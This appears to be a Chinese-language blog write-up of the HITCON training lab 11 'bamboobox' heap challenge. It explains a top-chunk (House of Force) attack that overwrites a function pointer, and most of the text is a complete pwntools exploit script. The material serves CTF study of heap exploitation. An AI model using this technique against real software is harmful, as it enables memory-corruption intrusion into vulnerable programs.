HITCON training lab 11
    
      
        
        2018.09.17
      
      
        
          
          V1NKe
        
      
      
      
      
       
        
            热度 
           ℃
        
      
      
    
  
  
    
      前言 :
写几篇关于top chunk利用的题吧,top chunk的利用在堆利用里面算简单的了,就是修改top chunk的size字段,使他在地址上移动到自己所想要的位置上。
详解 :
题目 :hitcon training lab 11
1 2 3 4 5 6 7
   | ➜  bamboobox checksec ./bamboobox  [*] '/home/parallels/Desktop/PWN/PwnWiKi/heap/bamboobox/bamboobox'     Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      No PIE (0x400000)
   | 
 
主要就是对盒子里面的物品进行添加和删除,漏洞点在修改物品的时候出现,有任意长度堆溢出的漏洞,这里面因为是一个演示程序,程序中有一个可以直接读取flag的函数,所以我们只要利用这个函数就可以了。
退出程序之前还执行了一个函数:
1 2 3
   | case 5: ((void (__fastcall *)(char *, char *))v3[1])(&buf, &buf); exit(0);
   | 
 
是一个一开始就申请的一个内存,存了一个goodbye的函数。
所以我们直接利用漏洞更改goodbye为magic函数即可。
思路 :
- 添加,更改top chunk的size字段为-1,最大size。
 
- 申请内存到堆基址处。
 
- 覆盖goodbye函数。
 
题目不难,就不细讲了。
EXP :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
   | from pwn import *
  r = process('./bamboobox') context.log_level = 'debug'
 
  def additem(length, name):     r.recvuntil(":")     r.sendline("2")     r.recvuntil(":")     r.sendline(str(length))     r.recvuntil(":")     r.sendline(name)
 
  def modify(idx, length, name):     r.recvuntil(":")     r.sendline("3")     r.recvuntil(":")     r.sendline(str(idx))     r.recvuntil(":")     r.sendline(str(length))     r.recvuntil(":")     r.sendline(name)
 
  def remove(idx):     r.recvuntil(":")     r.sendline("4")     r.recvuntil(":")     r.sendline(str(idx))
 
  def show():     r.recvuntil(":")     r.sendline("1")
  additem(0x80,'AAAAAAAA') payload = 'A'*0x88+p64(0xffffffffffffffff) modify(0,len(payload),payload) additem(-0xb8,'BBBBBBBB') additem(16,p64(0x400D49)*2)
  r.interactive()
   |